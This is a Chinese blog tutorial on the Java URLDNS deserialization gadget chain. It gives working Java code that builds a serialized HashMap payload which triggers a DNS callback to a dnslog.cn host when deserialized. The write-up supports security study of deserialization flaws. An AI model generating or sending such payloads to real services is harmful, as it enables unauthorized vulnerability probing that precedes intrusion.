简单的UrlDns链分析
URLDNS链学习
首先我们先理解一下序列化与反序列化,我先贴出三段代码,大家可以尝试先体验一下。
首先我们先构造一个Person类,其实跟这条链没什么关系,主要涉及序列化
点击查看代码
// 引入 Java 的 Serializable 接口,这是必需的,以便该类的对象可以被序列化和反序列化。
import java.io.Serializable;
// 定义一个公开的类 Person,实现了 Serializable 接口。
// 实现 Serializable 接口是告诉 Java 这个类的对象可以被序列化(转换为一系列字节)和反序列化(从字节序列恢复为对象)。
public class Person implements Serializable {
// 定义私有变量 name,类型为 String。私有的意思是这个变量只能在本类内部被访问。
private String name;
// 定义私有变量 age,类型为 int。
private int age;
// 定义无参数的构造函数。如果没有其他构造函数,Java会自动提供这样一个无参数的构造函数。
// 这里显式定义是为了清楚表明这个类有一个无参数的构造选项。
public Person() {
}
// 定义一个带有两个参数的构造函数,接收一个字符串 name 和一个整数 age。
// 这个构造函数用来创建一个具有特定名字和年龄的 Person 对象。
public Person(String name, int age) {
this.name = name; // 将传入的参数 name 赋值给成员变量 name。
this.age = age; // 将传入的参数 age 赋值给成员变量 age。
}
// 覆盖了 Object 类的 toString 方法。
// toString 方法用于返回对象的字符串表示形式,通常用于调试和日志记录。
@Override
public String toString() {
return "Person{" +
"name = " + name + '\'' + // 将成员变量 name 加入到返回的字符串中。
", age = " + age + // 将成员变量 age 加入到返回的字符串中。
'}';
}
}
序列化类
序列化: 在 Java 中,序列化是通过 ObjectOutputStream 类实现的。当调用 writeObject() 方法时,它会检查传入的对象是否实现了 Serializable 接口。如果实现了,Java 序列化机制就会自动处理该对象及其所有的子对象的序列化过程,并将其转换成一个连续的字节流,然后将这些字节写入到指定的输出流(在本例中是文件 "ser.bin")。
点击查看代码
// 引入必要的 Java 标准库,以便进行文件操作、网络通信等。
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
// 定义一个名为 SerializationTest 的公开类,用于测试序列化。
public class SerializationTest {
// 定义一个静态方法 serialize,用于序列化任意对象。
// 方法接收一个 Object 类型的参数 obj,表示要被序列化的对象。
public static void serialize(Object obj) throws IOException {
// 创建一个 ObjectOutputStream 对象 oos,它被连接到一个名为 "ser.bin" 的文件的 FileOutputStream。
// ObjectOutputStream 用于将对象的序列化表示写入到输出流中。
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
// 使用 ObjectOutputStream 的 writeObject 方法将 obj 对象写入到前面创建的文件中。
// 这是实际执行序列化操作的地方,对象状态被转化为字节序列并保存。
oos.writeObject(obj);
}
// 定义 main 方法,它是程序的入口点。
public static void main(String[] args) throws Exception {
// 创建一个 Person 对象,名字为 "aa",年龄为 22。
Person person = new Person("aa", 22);
// 调用前面定义的 serialize 方法,传入 person 对象进行序列化。
// 该调用会将 person 对象的状态保存到名为 "ser.bin" 的文件中。
serialize(person);
}
}
反序列化类
反序列化: 在 Java 中,反序列化是通过 ObjectInputStream 类实现的。当调用 readObject() 方法时,Java 反序列化机制从输入流中读取之前序列化的字节流,将其转换回原来的对象,并确保所有对象的类型信息和数据都被正确恢复。
点击查看代码
// 引入必要的 Java 输入输出库,这些库提供了文件操作和对象输入输出流的功能。
import java.io.*;
import java.io.IOException;
import java.io.ObjectInputStream;
// 定义一个名为 UnserializeTest 的公开类,用于测试反序列化。
public class UnserializeTest {
// 定义一个静态方法 unserialize,用于从文件中反序列化对象。
// 方法接收一个字符串参数 Filename,表示包含序列化对象数据的文件名。
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
// 创建一个 ObjectInputStream 对象 ois,它被连接到一个名为 Filename 的文件的 FileInputStream。
// ObjectInputStream 用于从输入流中读取对象的序列化表示。
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
// 使用 ObjectInputStream 的 readObject 方法读取并返回反序列化的对象。
// 这是实际执行反序列化操作的地方,字节序列被转化回 Java 对象。
Object obj = ois.readObject();
return obj;
}
// 定义 main 方法,它是程序的入口点。
public static void main(String[] args) throws Exception {
// 调用 unserialize 方法,从文件 "ser.bin" 中反序列化对象。
// 将返回的 Object 强制类型转换为 Person 类型。
Person person = (Person) unserialize("ser.bin");
// 打印反序列化得到的 Person 对象。
// 调用 Person 类的 toString 方法,显示对象的详细信息。
System.out.println(person);
}
}
下面我们来讲一下DNS链
点击查看代码
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
代码主要是先找到URL类里面的hashCode()方法

点击查看代码
// 定义一个公共的同步方法 hashCode,返回一个整型值。
// 'synchronized' 关键字确保在同一时刻只有一个线程可以执行这个方法,防止多线程环境下的数据竞争。
public synchronized int hashCode() {
// 如果实例变量 hashCode 的值不是 -1,说明之前已经计算过哈希码,并缓存了结果。
// 这是一种提高效率的做法,避免重复计算哈希值。
if (hashCode != -1)
return hashCode; // 直接返回已经计算好的哈希码。
// 如果 hashCode 是 -1,说明还没有计算过哈希码,需要计算。
// 调用 handler 的 hashCode 方法来计算当前对象的哈希码。
// 这里的 handler 是一个假定存在的字段或者变量,可能是这个类的一个属性,负责具体的哈希计算逻辑。
hashCode = handler.hashCode(this);
// 返回新计算的哈希码。
return hashCode;
}
然后我们跟进这里的hashCode

走到URLStreamHandler这个类中,看到hashCode这个方法,发现getHostAddress这个方法,实际上意思就是根据域名来获取地址


获取主机的 IP 地址。如果主机字段为空或 DNS 解析失败,将返回 null。
这个链其实就是两部分的内容,首先是,HashMap方法里面调用了hashCode()方法, 通过这个hashCode()方法,就可以走到URL这里的hashCode()方法。


这个时候我们就可以写一下代码,尝试执行以下请求DNSlog
点击查看代码
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class SerializationTest {
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
Person person = new Person("aa", 22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
hashmap.put(new URL(""),1);
serialize(person);
}
}

我们跟进这个URL类,看一卡它的构造函数是怎么写的,然后我们就知道放什么了

这里的意思是放一个链接进行就行,所以上面代码中URL传参,就可以放一个DNSLOG进去
现在我们尝试去进行序列化,然后在反序列化的时候,使其发送请求,看是否可以

进行序列化,发现已经请求了DNSlog


为什么在没有进行反序列化的时候,就可以发送请求,我们跟进put方法看一下

点击查看代码
/**
* 将指定的键和值添加到这个map中。
*
* @param key 要与指定值关联的键。
* @param value 与指定键关联的值。
* @return 如果该键之前已经有对应的值,则返回旧值;否则返回null。
*/
public V put(K key, V value) {
// 调用putVal方法实现键值对的添加。hash(key)计算键的哈希值。
// 参数说明:
// - hash(key): 根据键计算出的哈希值,用于确定键值对在map中的存储位置。
// - key: 要添加到map中的键。
// - value: 要与键关联的值。
// - false: 表示不是用来替代整个map的。
// - true: 表明结构(buckets)可能需要改变(如rehashing、扩容等)。
return putVal(hash(key), key, value, false, true);
}
意思就是为了确保键值对的唯一,在HashMap这个类中,已经调用了hash方法,转而调用了hashCode方法,然后就在未序列化之前发送了请求。

为什么呢,因为在URL类的hashCode()方法中,有一个判断就是,意思前面也讲过,就是如果hashCode不等于-1,就直接返回,不会执行下面的代码

点击查看代码
if (hashCode != -1)
return hashCode;

hashCode只有在初始化的时候才是-1

但是我们在代码中去调用put方法的时候,就已经改变了值,所以hashCode在序列化的时候就已经不是-1了,所以在进行反序列化,就不会执行。

所以我们就要尝试进行

我们在第一次序列化的时候,不想让URL发起请求,如果当这个hash Code当时已经不是-1了,这样我们就不会在put的时候发起请求了


所以我们需要在反序列化之前,把hashCode改回来
直接看代码,通过反射
点击查看代码
public static void main(String[] args) throws Exception {
//Person person = new Person("aa", 22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
//这里不要发起请求,把url对象改成不是-1
URL url = new URL("http://rdpr0d.dnslog.cn\n");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashmap.put(url,1);
//这里把hashCode()改回-1,改回hashCode的值为-1
//通过反射,改变已有对象的属性
serialize(hashmap);
}
}
无DNslog回显,证明已经修改了hashCode的值不等于-1.

然后我们将代码下面新增一行,将hashCode改为-1

在进行反序列化,可以看到dnslog已经成功记录到了


点击查看代码
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class SerializationTest {
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
//Person person = new Person("aa", 22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
//这里不要发起请求,把url对象改成不是-1
URL url = new URL("http://5cv1ga.dnslog.cn\n");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashmap.put(url,1);
//这里把hashCode()改回-1,改回hashCode的值为-1
//通过反射,改变已有对象的属性
hashcodefield.set(url,-1);
serialize(hashmap);
}
}
在反序列化Debug后,在URL.hashCode处下个断点,可以发现已经成功改成-1了

证明赋值已经成功了,成功发起了DNS请求
简单的UrlDns链分析的更多相关文章
- Java安全之URLDNS链
Java安全之URLDNS链 0x00 前言 在学习Java的反序列化漏洞的时候,就不得不学习他的一个利用链.很多刚刚入门的对于利用链这个词可能比较陌生.那么这里先来了解一下Java反序列化和反序列化 ...
- 一步一步学习FastJson1.2.47远程命令执行漏洞
本文首发于先知:https://xz.aliyun.com/t/6914 漏洞分析 FastJson1.2.24 RCE 在分析1.2.47的RCE之前先对FastJson1.2.24版本中的RCE进 ...
- javascript中继承方式及优缺点(一)
分别介绍原型链继承.call/apply继承(借用构造函数继承).组合继承.原型式继承.寄生式继承.寄生组合式继承 1. 原型链继承 核心:将父类的实例作为子类的原型 function SuperTy ...
- yso中URLDNS的pop链分析(重新分析整理)
#发现之前对这个链关注的点有点问题,重新分析了一下 由于最近面试的过程中被问到了yso中URLDNS这个pop链的工作原理,当时面试因为是谈到shiro的怎么检测和怎么攻击时谈到了这个.其实在实战中用 ...
- [原创]基于SpringAOP开发的方法调用链分析框架
新人熟悉项目必备工具!基于SpringAOP开发的一款方法调用链分析插件,简单到只需要一个注解,异步非阻塞,完美嵌入Spring Cloud.Dubbo项目!再也不用担心搞不懂项目! 很多新人进入一家 ...
- Linux内核通知链分析【转】
转自:http://www.cnblogs.com/jason-lu/articles/2807758.html Linux内核通知链分析 1. 引言 Linux是单内核架构(monolithic k ...
- ThinkPHP v5.1.x POP 链分析
环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函 ...
- ysoserial分析【二】7u21和URLDNS
目录 7u21 gadget链分析 hashCode绕过 参考 URLDNS 7u21 7u21中利用了TemplatesImpl来执行命令,结合动态代理.AnnotationInvocationHa ...
- Java安全之FastJson JdbcRowSetImpl 链分析
Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...
- YsoSerial 工具常用Payload分析之URLDNS
本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...
随机推荐
- 【5分钟】W10 64bit系统本地安装postgresql 11
1.下载 官网下载地址 2.安装 一路默认,有一个选语言的可以选中chinese simple(中文简体). 3.初始化 1)进入bin: cd C:\Program Files\PostgreS ...
- 个人呕心沥血编写的全网最详细的kettle教程书籍
笔者呕心沥血编写的kettle教程,涉及到kettle的每个控件的讲解和详细的实战示例 可以说是全网最详细的kettle教程,三天学完你就可以成为优秀的ETL专家!!! 现在免费分享出来!视频教程也已 ...
- Electron 开发过程中主进程的无法看到 console.log 输出怎么办
开发过程中命令行工具(powershell.terminal)内无法看到 console.log 输出 Eelectron 的在开发过程中主进程 NodeJS 内往往需要 console.log 来进 ...
- PyQt5 Ubuntu 16.04/14.04 环境配置
PS:要转载请注明出处,本人版权所有. PS: 这个只是基于<我自己>的理解, 如果和你的原则及想法相冲突,请谅解,勿喷. 前置说明 本文作为本人csdn blog的主站的备份.(Bl ...
- 「AntV」Vue3与TS框架下使用L7
1. 引言 Vue是常用的前端框架,TypeScript(简称TS) 是 JavaScript 的超集,可以提高代码的可维护性和可读性 本文基于Vite.Vue3和TypeScript搭建L7开发环境 ...
- 记录--vue3函数式弹窗
这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 前言 最近接到一个需求,需要在一些敏感操作进行前要求输入账号和密码,然后将输入的账号和密码加到接口请求的header里面.如果每个页面都去 ...
- 操作推荐-git工作流
操作推荐-git工作流 sourcetree环境 sourcetree是一款可视化的版本管理软件 可以实现版本的管理和发布 同样,也支持git工作流的使用 创建git工作流 在main或者master ...
- verilog之random
verilog之random 1.基本作用 random,用于产生随机数.在测试时,有时需要测试的情况太多,无法一一列举,就需要使用抽样测试的方法验证功能是否可行.random是一个有返回值的系统函数 ...
- springBoot打war包部署tomcat
1.修改maven的pom.xml文件 <packaging>war</packaging> 2.排除springboot内嵌的tomcat <dependency> ...
- AABO:自适应Anchor设置优化,性能榨取的最后一步 | ECCV 2020 Spotlight
论文提出超参数优化方法AABO,该方法核心基于贝叶斯优化和Sub-Sample方法,能够自适应的搜索最优的anchor设置.从实验结果来看,AABO能够仅通过anchor设置优化,为SOTA目标检测方 ...